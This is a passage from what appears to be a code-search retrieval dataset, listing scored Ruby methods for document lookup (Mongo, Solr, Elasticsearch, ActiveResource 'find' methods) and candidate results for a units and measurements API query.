"docid": "eb2677754a5e849baa2b0e42f5a5effb",
"score": "0.6529563",
"text": "def find(query={}, opts={})\n Mongomatic::Cursor.new(self, collection.find(query, opts))\n end",
"title": ""
},
{
"docid": "272fa7774943cbe47493879327a8a23c",
"score": "0.6511046",
"text": "def search_result_document(search_params)\n _, document_list = search_results(search_params)\n return document_list.first unless document_list.empty?\n document_not_found!\n end",
"title": ""
},
{
"docid": "5d81178264564b07df5f6b9ba200951b",
"score": "0.64852715",
"text": "def find_many (doc = {})\n if !doc.is_a?(Hash) && doc.empty?\n raise \"doc is not a Hash\"\n end\n cursor = @collection.find(doc)\n end",
"title": ""
},
{
"docid": "5745ac75723a9240557a0f951424f576",
"score": "0.64801955",
"text": "def find(id)\n id = id.to_s\n return nil unless index[id]\n return cache[id] if cache? && cache.key?(id)\n p = index[id][:partition]\n f = open_read(p)\n f.seek(index[id][:offset])\n data = f.read(index[id][:length])\n document = Marshal.load(data)\n cache[id] = document if cache?\n document\n end",
"title": ""
},
{
"docid": "de9679e805fa791074d7c3589e09548d",
"score": "0.6478477",
"text": "def find(id, url_params = nil)\n path = blacklight_config.document_solr_path || blacklight_config.solr_path\n solr_params = base_document_solr_params(url_params)\n solr_params[blacklight_config.document_unique_id_param] = id\n send_and_receive(path, solr_params).tap do |response|\n docs = response&.documents\n raise Blacklight::Exceptions::RecordNotFound unless docs.present?\n end\n end",
"title": ""
},
{
"docid": "c2b0c37e73db16d1c5c5f44f106c5bbe",
"score": "0.64772445",
"text": "def find(selector={}, options={})\n fields = options.delete(:fields)\n fields = nil if fields && fields.empty?\n offset = options.delete(:offset) || 0\n limit = options.delete(:limit) || 0\n sort = options.delete(:sort)\n hint = options.delete(:hint)\n if hint\n hint = normalize_hint_fields(hint)\n else\n hint = @hint # assumed to be normalized already\n end\n raise RuntimeError, \"Unknown options [#{options.inspect}]\" unless options.empty?\n @db.query(self, Query.new(selector, fields, offset, limit, sort, hint))\n end",
"title": ""
},
{
"docid": "5bc964545d48d57fc5a5db1f79fdeaad",
"score": "0.6474193",
"text": "def find( query )\n @collection.find( query )\n end",
"title": ""
},
{
"docid": "d76d4f1eb532fdc3d8e91edbe85f9a9a",
"score": "0.6473822",
"text": "def find(id, url_params = nil)\n cfg = blacklight_config\n path = cfg.document_solr_path || cfg.solr_path\n solr_params = base_document_solr_params(cfg, url_params)\n solr_params[cfg.document_unique_id_param] = id\n send_and_receive(path, solr_params).tap do |response|\n docs = response&.documents\n raise Blacklight::Exceptions::RecordNotFound unless docs.present?\n end\n end",
"title": ""
},
{
"docid": "31312e1f519065a6b57e5b6f638c9ee9",
"score": "0.6472412",
"text": "def find(*args)\n return index(*args)\n end",
"title": ""
},
{
"docid": "e83d2f2fc1ff14de86d51e6ba60bf813",
"score": "0.64558995",
"text": "def find(*args, &block)\n index.find(*args, &block)\n end",
"title": ""
},
{
"docid": "b4db28621e898e5b4f5cae6b145afff6",
"score": "0.6446468",
"text": "def find_one(options = {}, &block)\n options = resolve_non_hash_options(options)\n\n ez_resolve_options(options, &block) if block_given?\n\n if find_options = self.ann(:self, :find_options)\n options = find_options.dup.update(options)\n end\n\n options[:class] = self\n options.merge! schema_options\n\n ogmanager.with_store do |s|\n s.find_one(options)\n end\n end",
"title": ""
},
{
"docid": "bef23fe39a33dc860433ad8273fb7439",
"score": "0.64449966",
"text": "def find(id)\n documents[id.to_s]\n end",
"title": ""
},
{
"docid": "2f5e60539732d21a546fa5aa77ad9cc3",
"score": "0.6441065",
"text": "def find_one(spec_or_object_id=nil, opts={})\n doc = collection.find_one(spec_or_object_id, opts)\n doc ? new(doc) : nil\n end",
"title": ""
},
{
"docid": "3906470cea03904af56bcbc19426b469",
"score": "0.6439414",
"text": "def find_one(options)\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "e928b522a41c02c475118b652a421639",
"score": "0.6435999",
"text": "def find(*args) # :nodoc\n options = (args.last.is_a?(Hash) ? args.pop : {})\n\n case args[0]\n when Integer\n find_by_row(args[0])\n when :all\n find_by_conditions(options)\n else\n fail ArgumentError, \"unexpected arg #{args[0].inspect}, pass a row index or :all\"\n end\n end",
"title": ""
},
{
"docid": "d63ca669121161dc9d9aeeba731db94b",
"score": "0.6430315",
"text": "def find(sess, what, *args) \r\n if what.kind_of?(String) # Single FullName or ListID\r\n return find_by_unique_id(sess, what, *args)\r\n end\r\n \r\n # Setup q, options and base_options arguments\r\n q, options, base_options = parse_find_args(*args)\r\n q ||= create_query(sess)\r\n ignore_base_class = options.kind_of?(Hash) ? options.delete(:ignore_base_class) : false\r\n \r\n q.apply_options(options)\r\n \r\n # QuickBooks only needs to return one record if .find is\r\n # only returning a single record.\r\n if what == :first && q.filter_available?\r\n q.add_limit(1)\r\n end\r\n \r\n # Send the query so far to base_class_find if this is\r\n # a base class to handle special base class functionality.\r\n if is_base_class? && !ignore_base_class\r\n return base_class_find(sess, what, q, base_options)\r\n end\r\n \r\n # Get response and return an Array, a QBFC::Element-inherited\r\n # object, or nil, depending on <tt>what</tt> argument and whether\r\n # the query returned any records.\r\n list = q.response\r\n \r\n if list.nil?\r\n (what == :all) ? [] : nil\r\n elsif what == :all\r\n (0..(list.Count - 1)).collect { |i|\r\n new(sess, list.GetAt(i))\r\n }\r\n else\r\n new(sess, list.GetAt(0))\r\n end\r\n end",
"title": ""
},
{
"docid": "b3c368a43a2fbadd7cc322ee40d09933",
"score": "0.64135486",
"text": "def find(type, options = {})\n if type == :all\n find_all options\n elsif type == :first\n find_one options.merge(:limit => 1) \n else\n find_by_id(type, options)\n end\n end",
"title": ""
},
{
"docid": "c6bb86866b2b6aee6e317316b32cca40",
"score": "0.6413385",
"text": "def find(selector = {})\n Query.new self, selector\n end",
"title": ""
},
{
"docid": "5ca811644fbd17933e184de1672357d6",
"score": "0.6398569",
"text": "def find(*args)\n scoping { @model.find(*args) }\n end",
"title": ""
},
{
"docid": "ff5a7fb443866508c196e1e007ac1b67",
"score": "0.6383035",
"text": "def find(*args)\n self.klass.find(*(args + [self]))\n end",
"title": ""
},
{
"docid": "3c361d0d85b59d68c9523755c3390134",
"score": "0.63799345",
"text": "def dc_find_document(table, id, ids)\r\n tables = table.split(';')\r\n if tables.size == 1\r\n doc = tables.first.classify.constantize.find(id)\r\n else\r\n ids = ids.split(';')\r\n doc = tables.first.classify.constantize.find(ids.first) # top most record\r\n 1.upto(tables.size - 2) { |i| doc = doc.send(tables[i].pluralize).find(ids[i]) } # find embedded childrens by ids\r\n doc = doc.send(tables.last.pluralize).find(id) # our record\r\n end\r\n doc\r\nend",
"title": ""
},
{
"docid": "3c361d0d85b59d68c9523755c3390134",
"score": "0.63799345",
"text": "def dc_find_document(table, id, ids)\r\n tables = table.split(';')\r\n if tables.size == 1\r\n doc = tables.first.classify.constantize.find(id)\r\n else\r\n ids = ids.split(';')\r\n doc = tables.first.classify.constantize.find(ids.first) # top most record\r\n 1.upto(tables.size - 2) { |i| doc = doc.send(tables[i].pluralize).find(ids[i]) } # find embedded childrens by ids\r\n doc = doc.send(tables.last.pluralize).find(id) # our record\r\n end\r\n doc\r\nend",
"title": ""
},
{
"docid": "ede9f54b55e6ec57acedb504a90021f0",
"score": "0.6368075",
"text": "def find(query); end",
"title": ""
},
{
"docid": "e084075314571bba68e71d86276af38c",
"score": "0.63656974",
"text": "def find(*args)\n with_default_scope.find(*args)\n end",
"title": ""
},
{
"docid": "b2c2454643175c734a8086c9709b5ba9",
"score": "0.6359058",
"text": "def find(*args)\n # Determine ids (single or multiple)\n ids = []\n if args.first.instance_of? Fixnum\n ids << args.first\n elsif args.first.instance_of? Array\n ids.concat(args.first)\n end\n\n # Options hash supplied? Merge in options\n options = {}\n if args.last.instance_of? Hash\n options.merge!(args.last)\n end\n \n recs = records(path_with_ids(ids), options)\n recs.size == 1 ? recs.first : recs\n end",
"title": ""
},
{
"docid": "0b41a01711670502be90be4942c9b504",
"score": "0.63578427",
"text": "def document\n self.document_type.constantize.find(self.document_id)\n rescue ::Mongoid::Errors::DocumentNotFound\n nil\n end",
"title": ""
},
{
"docid": "58ec65fdf3b0caa486636e83bfd3abba",
"score": "0.63487375",
"text": "def find(*args, &block)\n if block_given?\n matches = @collection.collect do |item|\n item if yield(item)\n end.compact\n return FinderQuery.new(matches)\n end\n \n unless args[0].is_a?(Symbol) || args[0].is_a?(String)\n return @collection[args[0].to_i] || nil\n end\n \n FinderQuery.new(args[0].to_sym, @collection)\n end",
"title": ""
},
{
"docid": "4a395adaefa2ed7da156bc9324ebd286",
"score": "0.63479954",
"text": "def do_find(*args) # :nodoc:\n options = args.extract_options!.to_options\n\n raise ArgumentError.new(\"Sorry, conditions are not supported!\") if options.has_key? :conditions\n\n case args.first\n when :first, :last\n send(args.first, options)\n when :all\n find_all(options)\n else\n find_by_ids(*args, options)\n end\n end",
"title": ""
},
{
"docid": "a3874e671da38a5d9d67e30ab007203b",
"score": "0.63271844",
"text": "def find_one(*args)\n (r = coll.find_one(*args)) ?\n Model.new(r, coll) : r\n end",
"title": ""
},
{
"docid": "2c7dad040070eb095ed485725a0f46e1",
"score": "0.63270634",
"text": "def find options ={}\n results = @db.find options[:attribute ], options[:criteria]\n results.each{|r| @cache.add r}\n\n results\n end",
"title": ""
},
{
"docid": "57e43af824f2b38653ef2acfe497f411",
"score": "0.632627",
"text": "def first(options = nil)\n old_max = @max_results\n @max_results = 1\n key = execute[0]\n @max_results = old_max\n @document.find(key, options || @options)\n end",
"title": ""
},
{
"docid": "ba5fa2258fbc066f6470bd8178f46c35",
"score": "0.63081396",
"text": "def estraier_doc\n cond = self.class.estraier.create_condition\n cond.add_attr(\"db_id STREQ #{self.id}\")\n result = self.class.estraier.connection.search(cond, 1)\n return unless result and result.doc_num > 0\n self.class.estraier.get_doc_from(result)\n end",
"title": ""
},
{
"docid": "d6c745fdf08322dc0847a1d67fcf458f",
"score": "0.63060427",
"text": "def find_by_params opt, params, opts = { }\n opts[:params] = params\n # opts[:model_class] = self # ???\n Content::Query.new(opts).find(opt)\n end",
"title": ""
},
{
"docid": "567289413bcb96bfcef2a0c80d086584",
"score": "0.63038105",
"text": "def find_one(query)\n if query.kind_of? Hash\n query = query.to_json\n end\n doc = self.collection.find_one(query)\n self.from_document(doc, persisted=true) \n end",
"title": ""
},
{
"docid": "1be631689a8f819191c67f553557f138",
"score": "0.62893915",
"text": "def find\n\n end",
"title": ""
},
{
"docid": "1be631689a8f819191c67f553557f138",
"score": "0.62893915",
"text": "def find\n\n end",
"title": ""
},
{
"docid": "48e00c0d81ffe3bf8cf732fc235bc2e0",
"score": "0.6287181",
"text": "def document\n key = params['p']\n @documents = Document.search(key)\n end",
"title": ""
},
{
"docid": "940e36919f0890204ec209ec6ac2a306",
"score": "0.62727875",
"text": "def find_one(options)\n case from = options[:from]\n when Symbol\n instantiate_record(get(from, options[:params]))\n when String\n path = \"#{from}#{query_string(options[:params])}\"\n instantiate_record(format.decode(connection.get(path, headers).body))\n end\n end",
"title": ""
},
{
"docid": "9e174fd60bbe56e2c00be9f78dd19e0a",
"score": "0.626924",
"text": "def find(type, query, options = {})\n fetch_response(build_url(type, \"find\", query, options))\n end",
"title": ""
},
{
"docid": "c7a3a5ae49c8f18fdc7699610013cb9f",
"score": "0.62560934",
"text": "def find(idx_id, op, args, extra = [])\n req = [idx_id, op, args.length.to_s, *args, *extra]\n query(req)\n end",
"title": ""
},
{
"docid": "177859ccb592747d4223f075f36c194f",
"score": "0.6227445",
"text": "def find(collection, query={})\n coll = db[collection]\n if block_given?\n coll.find(query).each {|doc| yield doc}\n else\n coll.find(query)\n end\n end",
"title": ""
},
{
"docid": "2f4cfc4ef4b0b647a12066590c0cf0ae",
"score": "0.6225073",
"text": "def find_with_options(options)\n conditions, order, limit, offset = extract_conditions!(options)\n index, key = conditions_to_view_and_key(conditions)\n if index.nil?\n raise \"Find without conditions not supported.\"\n else\n [ klass.return_model_for_unique_index_and_value(index, key) ].compact\n end\n end",
"title": ""
},
{
"docid": "03b87cd678fe7db99c54cf30d3b9b332",
"score": "0.6223587",
"text": "def find(id)\n condition = { _id: BSON::ObjectId(id.to_s) }\n mongo_document = mongo_collection.find(condition).first\n Document.new(db_name, name, mongo_document) if mongo_document\n end",
"title": ""
},
{
"docid": "678f742a48e2dfedd5b637e960187d8d",
"score": "0.6213138",
"text": "def find(pid, _opts = {})\n Dor::Abstract.find pid, cast: true\n end",
"title": ""
},
{
"docid": "e1237ce1d37f311cd9bc0d5b2da166be",
"score": "0.6189326",
"text": "def get_document(index, id)\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{CGI::escape(id)}\")\n req = Net::HTTP::Get.new(uri)\n resp = run(uri, req)\n if resp.is_a? Net::HTTPNotFound\n @logger.debug(\"ELASTICSEARCH\") { \"Document #{id} not found in index #{index}\" }\n nil\n elsif resp.is_a? Net::HTTPSuccess\n JSON.parse resp.body\n else\n @logger.error(\"ELASTICSEARCH\") { \"Failed to get document #{id} from index #{index}.\\nGET #{uri}\\nResponse: #{resp.code} #{resp.msg}\\n#{resp.body}\" }\n raise \"Failed to get document #{id} from index #{index}\"\n end\n end",
"title": ""
},
{
"docid": "a54752734c0bd2f3b882550d83bdd08a",
"score": "0.6179473",
"text": "def find(*args)\n # Parse args into options\n options = {\n :pick => :first,\n }\n options = parse_find_options(options, *args)\n pick, options = pick_which?(options)\n\n # Pick one of the find all results\n return pick_one(pick, find_all(options))\n end",
"title": ""
},
{
"docid": "28a169224ef93f80f93e81c3060f27ef",
"score": "0.61706406",
"text": "def find_one(options)\n http_connection = options.delete(:connection) || connection\n case from = options[:from]\n when Symbol\n instantiate_record(get(from, options[:params]))\n when String\n path = \"#{from}#{query_string(options[:params])}\"\n instantiate_record(http_connection.get(path, headers))\n end\n end",
"title": ""
},
{
"docid": "c86c1a1f7a001ac3801e26fb758677a1",
"score": "0.61680144",
"text": "def find\nend",
"title": ""
},
{
"docid": "4395d831ae70c8c338278c6b577c46ab",
"score": "0.6165404",
"text": "def collection_find(args = { })\n query = process_method_parameters(__method__, args)\n http.get('collection', query)\n end",
"title": ""
},
{
"docid": "7a6f9aaac839bd1142dde5b466243ddb",
"score": "0.6161974",
"text": "def find_one(query={}, opts={})\n return nil unless doc = self.collection.find(query, opts).limit(1).first\n self.new(doc, false)\n end",
"title": ""
},
{
"docid": "defadaadd0fbf2db4c1fd261022ae3a8",
"score": "0.6159509",
"text": "def search_result_document(search_params)\n _, document_list = search_results(search_params)\n solr_doc = ::SolrDocument.find(params[:id])\n document_list << solr_doc if current_user && solr_doc.depositor == current_user.try(:username)\n return document_list.first unless document_list.empty?\n\n document_not_found!\n end",
"title": ""
},
{
"docid": "4e2d0e7766175d6d4e30d0e9b5033658",
"score": "0.6157011",
"text": "def get_document_by_key(key, collection)\n begin\n query_hash = {'_id' => key}\n db = open_database()\n coll = db.collection(collection)\n doc = coll.find_one(query_hash)\n rescue Exception => e\n puts 'ERROR: ' + e.message\n puts e.backtrace\n nil\n end\n end",
"title": ""
},
{
"docid": "076a12978fd2bb9fae46795b707b5d14",
"score": "0.6139646",
"text": "def find(id, opts={})\n on_class.find(id, {:nested_path => find_path(id)}.merge(opts))\n end",
"title": ""
},
{
"docid": "076a12978fd2bb9fae46795b707b5d14",
"score": "0.6139646",
"text": "def find(id, opts={})\n on_class.find(id, {:nested_path => find_path(id)}.merge(opts))\n end",
"title": ""
},
{
"docid": "882b409d1cd40e5344b8a732867018da",
"score": "0.61364746",
"text": "def find\n @find.execute(output: @output, errors: @errors)\n end",
"title": ""
},
{
"docid": "fba7a4f06d0ae86f351320de1ef3adcd",
"score": "0.61305684",
"text": "def find(query={}, opts={})\n ObjectMasala::Cursor.new(self, collection.find(query, opts))\n end",
"title": ""
},
{
"docid": "c4ebd0b9da7788e1a20547208d9b6604",
"score": "0.6119422",
"text": "def find(*args)\n return @resource_class.find_without_pagination(*args) if(@resource_class.respond_to?(:find_without_pagination))\n scope = args.slice!(0)\n options = args.slice!(0) || {}\n obj = @resource_class.find(scope, options)\n obj\n end",
"title": ""
},
{
"docid": "e66dc368d99e836f5fe5d39b89e57cf7",
"score": "0.60950327",
"text": "def find_one(options)\n options[:params] ||= {}\n result = case from = options[:from]\n when Symbol :\n client.api_call( \"#{collection_path}/#{from}\", options[:params] )\n when String :\n client.api_call( from, options[:params] )\n else\n client.api_call( collection_path, options[:params] )\n end\n object = result[:error] ? nil : Array( result[:data] ).first \n object.try( :tap ){ |r| \n r.prefix_options = { :user_id => options[:params][:user_id] } if options[:params][:user_id]\n r.pagination = result[:pagination]\n r.facets = result[:facets]\n }\n end",
"title": ""
},
{
"docid": "fedc0cabc8cf5b880e88a4a2040cd9a8",
"score": "0.607682",
"text": "def get_doc\n doc = ActiveFedora::Base.find_with_conditions({:id=>pid}).first\n raise OembedSolrError if doc.blank?\n doc\n end",
"title": ""
},
{
"docid": "42433e4d038b3b60e91067aca76cda75",
"score": "0.60652024",
"text": "def find(type, options)\n raise BadArgumentError, \"No finder type provided\" unless type\n type = type.to_sym\n raise BadArgumentError, \"Invalid finder type '#{type}'\" unless [:first, :all].include?(type)\n raise BadArgumentError, \"No finder options provided\" unless options\n options = options.symbolize_keys\n raise BadArgumentError, \"Limit option not allowed\" if options[:limit] && type == :first\n\n suffix, finder_keys = finder_suffix_and_keys(options.delete(:named), options.delete(:by))\n\n filter_by = options.delete(:filter_by) || {}\n\n options.merge!(limit: 1) if type == :first\n\n suffix = [(type == :first ? nil : type), suffix].compact.join('_')\n raise BadArgumentError, \"No 'named' or 'by' option provided for 'first' finder\" unless suffix\n\n define_method(\"find_#{suffix}\") do |*args|\n port_options = options\n\n raise BadArgumentError, \"Invalid number of arguments\" unless args.length == finder_keys.length\n conditions = Hash[finder_keys.zip(args)]\n\n entities_attrs = port.find(\n filter_by.merge(conditions),\n all_known_columns,\n port_options\n )\n entities = entities_attrs.map { |ea|\n load_entity(ea)\n }\n\n type == :first ? entities.first : entities\n end\n end",
"title": ""
},
{
"docid": "907188054bc5b0a2314338ed3dc13fb8",
"score": "0.60595834",
"text": "def find_by_query query, *option\n raise NotImplementedError, 'this should be overridden by concrete client'\n end",
"title": ""
},
{
"docid": "99e14e749c753a7a1d32edf077ea0ba6",
"score": "0.6057802",
"text": "def find(*args)\n options = args.extract_options!\n case args.first\n when :first\n first(options)\n when :all\n all(options)\n else\n get(*args)\n end\n end",
"title": ""
},
{
"docid": "509b9306fdd40e7920f1df914d65324a",
"score": "0.6049852",
"text": "def find_document(file_name)#:XML::Document\n file_id = get_document_id(file_name)\n \n if(file_id == nil)\n raise Transformer::MappingException, \"Document with name #{file_name} not found.\"\n return nil\n end\n @builder = Transformer::KeyBuilder.new(@env_id, @coll_id, file_id)\n @xml_transformer = Transformer::XMLTransformer.new(@builder)\n return @xml_transformer.get_document(@builder)\n end",
"title": ""
},
{
"docid": "b67904a5a3638d760ab12114acfcaad1",
"score": "0.6042727",
"text": "def doc\n return model.build_from_database(self['_source']) if self['_source']\n doc_id = (value.is_a?(Hash) && value['_id']) ? value['_id'] : self.id\n doc_id ? model.get(doc_id) : nil\n end",
"title": ""
},
{
"docid": "271e2530dc8d6022bf6ba9ee953ef140",
"score": "0.6040776",
"text": "def find(*args)\n find_all_by_parts(*args).first\n end",
"title": ""
},
{
"docid": "f013305e063e95ae6faf8105a57f47de",
"score": "0.6038067",
"text": "def find_by(index, options = {})\n idx, value_or_range = index.first\n\n raise unless self.indexes[idx]\n\n RiakOdm::Criteria.new(self, self.indexes[idx].full_name, value_or_range, options)\n end",
"title": ""
}
] |
b1720cc5c6ffeda84718042e83be451a
|
GET /dataunits GET /dataunits.json
|
[
{
"docid": "e13b3a5e6225ced15fdced76940020d9",
"score": "0.67984027",
"text": "def index\n @dataunits = Dataunit.all\n end",
"title": ""
}
] |
[
{
"docid": "fc7c68e5bca78316e4acf7a60b0eb56f",
"score": "0.7748599",
"text": "def foods_units\n get('/foods/units.json')\n end",
"title": ""
},
{
"docid": "78d2ec54867c1fe4cc267fbdfd791a1f",
"score": "0.72970974",
"text": "def index\n response = HTTParty.get(\"https://casa-core.herokuapp.com/api/units\", :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n @units = JSON.parse(response.body)\n return @units\n end",
"title": ""
},
{
"docid": "92ad51451b7e19af505a11f53a8fe14b",
"score": "0.6926926",
"text": "def units\n @units = Item.select(\"DISTINCT unit\").where(\"unit like ?\", \"%#{params[:q]}%\").limit(20).map(&:unit)\n @units += Detail.select(\"DISTINCT unit\").where(\"unit like ?\", \"%#{params[:q]}%\").limit(20).map(&:unit)\n @units = @units.uniq\n respond_to do |format|\n format.json { render json: @units }\n end\n end",
"title": ""
},
{
"docid": "8330239346eb17e8088d5d5de030830b",
"score": "0.6876773",
"text": "def get_measurements\n render json: @data_source.measurements\n end",
"title": ""
},
{
"docid": "f448dfc0e72a21f57dfff5de669db342",
"score": "0.67270625",
"text": "def unit_of_measurement_find_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UnitOfMeasurementApi.unit_of_measurement_find ...\"\n end\n # resource path\n local_var_path = \"/UnitsOfMeasurement\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<UnitOfMeasurement>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UnitOfMeasurementApi#unit_of_measurement_find\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "8d5d3ac47abc42f5d0f25abdaf849dba",
"score": "0.64357233",
"text": "def index\n @units = Unit.all\n end",
"title": ""
},
{
"docid": "8d5d3ac47abc42f5d0f25abdaf849dba",
"score": "0.64357233",
"text": "def index\n @units = Unit.all\n end",
"title": ""
},
{
"docid": "8d5d3ac47abc42f5d0f25abdaf849dba",
"score": "0.64357233",
"text": "def index\n @units = Unit.all\n end",
"title": ""
},
{
"docid": "8d5d3ac47abc42f5d0f25abdaf849dba",
"score": "0.64357233",
"text": "def index\n @units = Unit.all\n end",
"title": ""
},
{
"docid": "8d5d3ac47abc42f5d0f25abdaf849dba",
"score": "0.64357233",
"text": "def index\n @units = Unit.all\n end",
"title": ""
},
{
"docid": "8d5d3ac47abc42f5d0f25abdaf849dba",
"score": "0.64357233",
"text": "def index\n @units = Unit.all\n end",
"title": ""
},
{
"docid": "7a103293be91c6ee7a8d9cac0830323a",
"score": "0.64010555",
"text": "def show\n @unit_of_measure = UnitOfMeasure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unit_of_measure }\n end\n end",
"title": ""
},
{
"docid": "01957b462671a5d3aaae894b14c56f65",
"score": "0.633661",
"text": "def units\n attribute('yweather:units')\n end",
"title": ""
},
{
"docid": "c9a6c933f9705d8081a7cfb37e43d89c",
"score": "0.6320293",
"text": "def all_units\n services.map{|el| el[:units]} \n end",
"title": ""
},
{
"docid": "5354532c95d0cfb87b95234655682d8e",
"score": "0.62682986",
"text": "def measurements_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: MeasurementApi#measurements_get ...\"\n end\n \n # resource path\n path = \"/measurements\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n query_params[:'user_id'] = opts[:'user_id'] if opts[:'user_id']\n query_params[:'client_id'] = opts[:'client_id'] if opts[:'client_id']\n query_params[:'connector_id'] = opts[:'connector_id'] if opts[:'connector_id']\n query_params[:'variable_id'] = opts[:'variable_id'] if opts[:'variable_id']\n query_params[:'source_id'] = opts[:'source_id'] if opts[:'source_id']\n query_params[:'start_time'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'value'] = opts[:'value'] if opts[:'value']\n query_params[:'unit_id'] = opts[:'unit_id'] if opts[:'unit_id']\n query_params[:'original_value'] = opts[:'original_value'] if opts[:'original_value']\n query_params[:'original_unit_id'] = opts[:'original_unit_id'] if opts[:'original_unit_id']\n query_params[:'duration'] = opts[:'duration'] if opts[:'duration']\n query_params[:'note'] = opts[:'note'] if opts[:'note']\n query_params[:'latitude'] = opts[:'latitude'] if opts[:'latitude']\n query_params[:'longitude'] = opts[:'longitude'] if opts[:'longitude']\n query_params[:'location'] = opts[:'location'] if opts[:'location']\n query_params[:'created_at'] = opts[:'created_at'] if opts[:'created_at']\n query_params[:'updated_at'] = opts[:'updated_at'] if opts[:'updated_at']\n query_params[:'error'] = opts[:'error'] if opts[:'error']\n query_params[:'limit'] = opts[:'limit'] if opts[:'limit']\n query_params[:'offset'] = opts[:'offset'] if opts[:'offset']\n query_params[:'sort'] = opts[:'sort'] if opts[:'sort']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_13')\n if Configuration.debugging\n Configuration.logger.debug \"API called: MeasurementApi#measurements_get. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "83a92316b002fdc9bbfc95b0ea2a2fb9",
"score": "0.6256346",
"text": "def index\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unit_of_measures }\n format.js\n end\n end",
"title": ""
},
{
"docid": "2624e1f7b1d27a5ce01e374e1bdf03eb",
"score": "0.6254286",
"text": "def index\n @unit_measures = UnitMeasure.all\n end",
"title": ""
},
{
"docid": "293d3bfbb2de3bcea14d2cd6ace94178",
"score": "0.6199829",
"text": "def show\n query = {\n 'id' => unit_params[:id]\n }\n response = HTTParty.get(\"https://casa-core.herokuapp.com/api/units/?id\", :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n @unit = JSON.parse(response.body)\n else\n redirect_to unit_path(params[:id]), notice: 'Hmm...thats strange...try that again.'\n end\n end",
"title": ""
},
{
"docid": "5e830aa445086024db731b4287c19fba",
"score": "0.61837596",
"text": "def show\n @resource = Resource.find(params[:resource_id])\n @incident = Incident.find(@resource.incident_id)\n @demob = Demob.find(params[:id])\n @logistics_units = @demob.units[0..5]\n @finance_units = @demob.units[6..8]\n @other_units = @demob.units[9..10]\n @plans_units = @demob.units[11..13]\n end",
"title": ""
},
{
"docid": "2b064baf8c7a671e1b0cd2a58d8cef3e",
"score": "0.6180532",
"text": "def index\n @units = if params[:order] == 'updated'\n Unit.order('updated_at ' + params[:updated_direction])\n elsif params[:order] == 'created'\n Unit.order('created_at ' + params[:created_direction])\n elsif params[:order] == 'note_updated'\n Unit.order('note_updated_at ' + params[:note_updated_direction])\n elsif params[:order] == 'first_name'\n Unit.joins(:resident).order('residents.first_name ' + params[:first_name_direction])\n elsif params[:order] == 'last_name'\n Unit.joins(:resident).order('residents.last_name ' + params[:last_name_direction])\n elsif params[:order] == 'name'\n Unit.order('name ' + params[:name_direction])\n elsif params[:order] == 'address'\n Kaminari.paginate_array(Address.joins(:street, :units).order(\"streets.name #{params[:address_direction]}\").order(\"addresses.street_number #{params[:address_direction]}\").map(&:units).flatten)\n else\n Unit.order('created_at desc')\n end.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @units }\n end\n end",
"title": ""
},
{
"docid": "50ab07f1af75dafa980f6b6612460752",
"score": "0.6170328",
"text": "def show\n @extent_unit = ExtentUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @extent_unit }\n end\n end",
"title": ""
},
{
"docid": "cdeb7faa49bd833f42e06c5f954216f3",
"score": "0.6160941",
"text": "def index\n @unit_type = UnitType.all\n\n respond_to do |format|\n format.json { render json: @unit_type }\n format.xml { render xml: @unit_type }\n end\n end",
"title": ""
},
{
"docid": "98bbd50a94f435e85bbd48c1200087f4",
"score": "0.6119615",
"text": "def emission_units\n data['emission_units']\n end",
"title": ""
},
{
"docid": "d88ebf89c7988241228045155b4c3e07",
"score": "0.60938656",
"text": "def index\n @base_units = BaseUnit.all\n end",
"title": ""
},
{
"docid": "9bf042eab798f493cd801958ffdc84ce",
"score": "0.6086672",
"text": "def index\n @standard_units = StandardUnit.all\n end",
"title": ""
},
{
"docid": "538ffe3cdba533ed367ee554387afcbc",
"score": "0.60825086",
"text": "def transfer_unit\n if !params[:ic_number].nil?\n user = User.find_by_ic_number(params[:ic_number])\n departments = user.units.active.collect(&:name)\n render :json=>[departments] if departments\n end\n end",
"title": ""
},
{
"docid": "aa17735f8a215988ca8472f5fe28b60e",
"score": "0.60762686",
